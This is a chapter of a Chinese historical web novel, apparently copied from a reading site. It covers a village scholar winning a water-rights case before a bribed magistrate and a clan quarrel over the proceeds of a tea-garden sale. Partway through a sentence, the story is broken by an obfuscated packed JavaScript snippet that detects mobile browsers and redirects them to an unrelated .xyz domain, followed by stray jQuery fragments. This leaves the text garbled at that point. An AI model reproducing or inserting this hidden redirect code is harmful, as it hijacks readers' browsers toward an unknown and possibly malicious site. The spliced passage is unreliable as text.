衙门偏厅弥漫着陈年墨汁的酸腐味。江溪竹盯着案几上那方缺角的砚台,听着对面柳家管事中气十足的吼声。
“他们打断我家族人好几根肋骨!我那小儿现在还躺在床上起不来呢!大人该把蒙山村的人抓起来,狠狠打一顿,然后收押进监狱里!”
“放你娘的狗屁!”冯大姑拍案而起,“是你柳家先动的手,我们村的人被打得鼻青脸肿!你们还把我们村的秀才推倒了,脑门上开了好大个口子哩!”
……
镇长张成言捧着茶盏坐在太师椅里,一味低头喝茶,倒是不曾掺和进柳家管事和冯大姑的争吵之中。
江溪竹觉得很可笑,这般尸位素餐的人,竟掌握着蒙山镇百姓的生杀大权。
不知争论了多久,上首的镇长总算是放下了白玉杯盏。
“江秀才,”他看向出神的江溪竹,轻叩着案桌,“你来说说。”
满室寂静中,江溪竹回过神来,见一众人都盯着自己,她坐直了身子,掸了掸衣袖上并不存在的灰尘,顺着脑海里浮现出的原身记忆,慢慢讲了自己看法。
“蒙山上的沟渠乃二十年前官府所建,柳家私改水道,触犯了《元夏水令》第三条,依律是要脊杖三十的;另外嘛,”她抬了抬下巴,看向对面一脸阴翳的柳管事,“柳小勇扬言要让冯村长‘棺材派上用场’,当时在场的所有人皆可作证,按律可以谋杀未遂论处。”
柳管事脸色骤变,他原以为蒙山村出的这个女秀才不过是个花架子,谁知竟对本朝律法如数家珍。
张成言睨了眼柳管事,见他说不出话来,顿时在心口堵了口气。他刚收了柳家厚礼,本打算和稀泥了事,谁知这柳家的人如此不中用,被个秀才三言两语就拿捏了,这会儿倒是把他架在了火上烤。
正当僵持,门外突然传来清脆的玉铃声响。众人回头,只见宋府管事带着两个侍女立在廊下,笑吟吟捧着一方茶盒。
“我家小姐说,蒙山村的事,宋家愿来作个见证。”
周管事的出现,江溪竹很意外。她还以为宋家只想尽早买下她们村的茶园,不想过多牵扯进她们村和柳家的纷争里。
没想到那宋大小姐还遣了周管事前来。就是不知,周管事要如何来做这个见证了。
偏厅内人心浮动,柳管事更是谨慎地盯着周管事,见她只是将手里的茶盒移交到了镇长案桌上,便悄然松了口气。
但下一瞬,茶盒打开,一缕沉郁的陈香混着雨水气息蔓延开来。
这熟悉的气味让他瞳孔骤缩,下意识看向端坐于上首的张镇长。却见他垂下眼,紧紧盯着茶盒里的茶时鼻翼翕动,不自觉皱起了眉头,便知大事不好了!
此刻的张成言思绪繁杂,有些心虚,不知宋家人将这盒茶交到他手里是什么意思,毕竟这茶的气味很熟悉,与午时柳家送他的精品新茶味道一模一样……莫不是想提醒他,宋家知晓他收了柳家贿赂?
“大人或许不知,这茶是柳家售往州府的陈茶。”周管事没有拐弯抹角,言笑晏晏地继续说道:“并且还是好几年前的陈茶。”
柳管事额角渗出细汗,眼神在镇长和似笑非笑的周管事之间游移。
“胡说!柳家从不售卖陈茶!”他极力辩驳,试图拉回镇长的注意力,“而且现下是我柳家和蒙山村商议上午互殴如何解决的事,你宋家拿了这不知在哪儿买的茶到此处诬陷我柳家,是想干扰镇长的英明决断吗?”
“你既知镇长决断英明,那又为何认为镇长会被干扰?”周管事从袖中拿出了一张盖了印的买券,呈到了堂前,“这是购买柳家商铺茶叶的凭证,那茶盒底部也印有柳家的火漆印,若是大人以为还不能证明这茶叶是柳家售卖的,也可以派人前去柳家商铺验证一二。”
“但是得快些去了,不然去迟了,柳家就要换下陈茶了。”她浅笑着说,倒是不觉得自己的话有多让人震惊。
四周暗沉,仿佛流淌着压抑的潮湿。
张成言摆了摆手,将买券压在了惊堂木下,语气极淡地说:“这上面确有柳家商号的铜模,做不了假。”
“大人!”柳管事连忙开口打断,“我们柳府和蒙山村的事还没完呢!”
他极力保持着镇定,幽寒的眸子如蛇一般缠在张成言身上,一闪而过的警告,似乎在提醒他不要忘了刚收下的贿赂。
张成言嘴角微抽,冷冷一笑。
贿赂?柳家还敢提贿赂?
拿几年前的陈茶来忽悠他,这也能叫贿赂?!这柳家真是大胆,还跟他强调那茶是今年刚冒出的精品嫩芽,只送了他一人,亏得他当时满意得很,满口应下柳家的提议。
哼!简直是把他当三岁小孩儿耍呢!
“怎么?难道不是柳家先动的手?”他目光冷淡,轻叩桌面,示意李捕头递上双方的口供,“而且你柳家私自改道沟渠,早触犯了本朝律法。”
“现下本官宣判,柳家所有参与挖掘沟渠、打架斗殴的人受五十鞭刑。责令柳家派人在三日内将毁坏的沟渠恢复如初,并交罚款一千两纹银,另外需要赔偿蒙山村受伤之人所有医药费。”
原本吵闹了一下午的案子只是一会儿功夫就结了。虽然结果看起来似乎达到了冯大姑的目的,但她无论如何也高兴不起来。
她瞥了一眼周管家,想着要不是宋家遣了她来,那最后的结果,还会是这样吗?
江溪竹倒没想这么多,只想赶紧离开这个乌烟瘴气的地方,至于剩下的事,与她毫无干系。
外面天色暗了不少,坐上马车回到村子里,天边已经挂上了一轮弯月。
“今天闹了半天,你也累了,早点回去睡吧。明天吃了早饭就到祠堂去,和大家伙儿商量商量卖茶园的事。”冯大姑驾着马车,把江溪竹送到了家门口。
木门没有关紧,轻轻一推就开了。
江溪竹同冯大姑话别后,踩着月色进了院子,随手打发了朝她迎来的黄将军。
堂屋檐角的灯笼亮着红彤彤的光,照亮着脚下的路。
她快步走进去,旁边的卧房里传来一阵窸窣的动静。
“妮儿?这么晚才回来?吃过晚饭了吗?伤口上药了没?”江母披了件外衣,提着灯笼来到堂屋内,浑浊的眼里布满了通红的血丝。
江溪竹轻巧避开她伸过来抚摸额角的手,转头接过她手里的灯笼,虚虚扶着她,“我和大姑在镇里吃过了才回来的,没有饿肚子。伤口已经上了药,大夫还开了熬的药,说是吃上三四天就差不多了。”
“现在很晚了,你不要继续熬着了,快点回去休息吧。”
扶着她转身来到阴暗的卧房,见她还想开口,江溪竹搁下灯笼,先一步说道:“和柳家的事解决了,我们村没受什么处罚。另外茶园的事,要等明天一早去祠堂,大家商量了再决定要不要卖。”
“所以现在睡吧,明天的事明天再说。”
......
晨曦初露,微凉的风里卷着淅淅沥沥的雨珠,三三两两的村民穿着蓑衣,踩着湿漉漉的土路,慢慢聚集在了山脚的祠堂里。
阴暗的屋内,摇曳的油灯映着一张张神情各异的脸。
“……五千两银子加上两百两定金,扣掉一千两来修缮祠堂,还剩下四千二百两,分到每一户头上,也有一百来两。”冯大姑坐在村长身边,目光扫过在场每一个人。
“茶园卖了之后,要不要接受宋家的雇佣去打理茶园,那就是大家自己做决定了。每户出两个人去打理茶园,每月就能领一两银子,虽然富不了,但是也饿不死。”
众人沉默,思考着可行性。
片刻后,有人产生了质疑:“茶园是我们冯家的,也一直是我们冯家人在管,外姓人可没靠着茶园过日子。所以卖茶园的银子要平均分到每一户头上,会不会太不公平了?”
“是啊,比如村头几十年前搬来的张家,还有半山腰的李家,还有村尾的……”有人附和着,但最后的话却没说完,只不过众人都悄悄看向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730893|174012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了坐在角落的江溪竹和她的母亲。
虽未明说,但意思显而易见。
村长握着拐杖,皱起了眉,冯大姑立马摆了摆手,示意大家先听她说:“都是这么多年姻亲了,外姓人也是我们村的人了。而且张家养猪卖猪肉,卖给我们村的价格比市价要低,才让大家伙儿三两个月就能吃上一顿肉,比邻村那些过年才尝一回肉味的人滋润太多了。”
“李家在山上打猎,有他家在,山上的野猪老虎都不敢下山了,少了很多糟蹋茶园的黑熊野猪哩。”
“至于江家……虚白她爹没走时,在村里开着私塾,每月束脩只收半斗米,比镇上的束脩便宜多了。好几个娃子读了书认了字,不至于跟我们一样当睁眼瞎。而且这两天为了挖开沟渠,虚白也忙里忙外,昨天还在山上把脑袋磕了好大个口子。”
刚才附和的黑脸汉子瞥了眼没开口的几户外姓人,嘴角蠕动,低声辩驳道:“公是公,私是私,我们不否认他们对村子有贡献。但是茶园从一开始就是属于我们冯氏大家的,跟他们外姓人可没关系……如果就因为他们做的这些事,要把卖茶园的钱也平均分给他们,那对我们冯家的人根本不公平啊。”
“是啊。”好几个冯家人跟着说道:“本来银子就不算多,咋还要分给外姓人啊?”
“我们祖辈都靠着茶园过日子,要不是柳家逼得太紧,我们也不想把茶园卖出去……”
“就是啊!就算要卖茶园,那还得再加点钱哩!而且咋也不能平均分到每户头上啊!我们还想多分点过日子呢!”
涉及到自身利益,冯家所有人严阵以待,一个接一个地冒出来据理力争,就为了能多分些银子到自己手里。
一直吵闹到午时,油灯添了两回油,腹中饥饿的众人才勉强坐回了自己的位置上,等待着村长一家最后的决断。
四周弥漫着暗色,淅沥的雨在屋檐汇集,成串般簌簌落下,台阶下的水坑溅起了张牙舞爪的水花。
冯大姑沉默许久后,还想再劝,木桌下的脚却被轻轻踩了踩,她的余光瞥向坐在旁边的父亲,见他杵着拐杖,慢慢说道:“大家的意思,我都知道了。那么张家、李家和江家呢?对于卖茶园的银子平分到每一户头上,你们怎么看?”
江溪竹对这事没什么想法,倒是对于村长踢皮球的态度有些心绪复杂。
她不是自小生活在村子里的原身,对这里没有太多归属感。所以银子要如何分配,她并不关心。
但村长这话的意思,分明是不想亲自开口,把银子分配到每户头上。便把皮球踢给她们这些所谓的“外姓人”,让她们自己来决定要不要这个银子。
当然,如果最后她们说了要拿分配的银子,那也就担下了冯家人的怨恨,总之无论如何都与他冯村长一家无关。
……这些弯弯绕绕的小心思当真是让人觉得心烦。
江溪竹垂眸,按下她母亲的手,一张嘴就撇清了她们一家:“虽然我娘姓冯,但似乎她在和我爹成亲后就迁了户,所以大概也算不上是你们冯家人了。而我姓江,更不是冯家氏族的人。”
“从始至终我们一家人都没有被分配打理过茶园,所以茶园卖了多少银子,都和我们一家无关。”
她这话一说出口,另外两家外姓人紧紧拧着眉心。
她知道当出头鸟,会招惹一些怨怼。但她更不想继续掺和进和冯氏家族的矛盾里。
有了她的开头,其余两户外姓对视一眼后,也在众人的虎视眈眈之下,亲口放弃了银子的分配。
冯氏家族的人满意了,冯村长眼里也有了点笑意,“虽然你们不参与分配,但若是修缮祠堂后,那一千两还有剩余的话,就平均分给你们,也算是这些年大家为村子做贡献的回报。”
这自然是客套话,三家外姓人心里门儿清。
“大家都是同住一个村的,什么贡献不贡献,都是应该的。”那两户人家心里憋着气,面上倒是一团和气,随口应付几句,便也告辞了。